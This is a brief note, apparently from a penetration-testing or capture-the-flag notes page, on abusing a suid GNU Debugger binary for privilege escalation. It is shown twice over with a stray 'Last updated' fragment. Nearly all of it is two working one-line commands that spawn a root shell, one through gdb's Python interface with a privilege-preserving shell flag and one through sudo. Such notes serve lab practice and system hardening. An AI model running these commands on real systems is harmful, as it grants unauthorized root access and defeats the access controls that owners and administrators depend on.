/usr/bin/gdb
GNU Debugger(GDB) has the suid bit and I can get the root shell with it.
#shell escape
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
#root
sudo gdb -nx -ex '!sh' -ex quitLast updated
GNU Debugger(GDB) has the suid bit and I can get the root shell with it.
#shell escape
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
#root
sudo gdb -nx -ex '!sh' -ex quitLast updated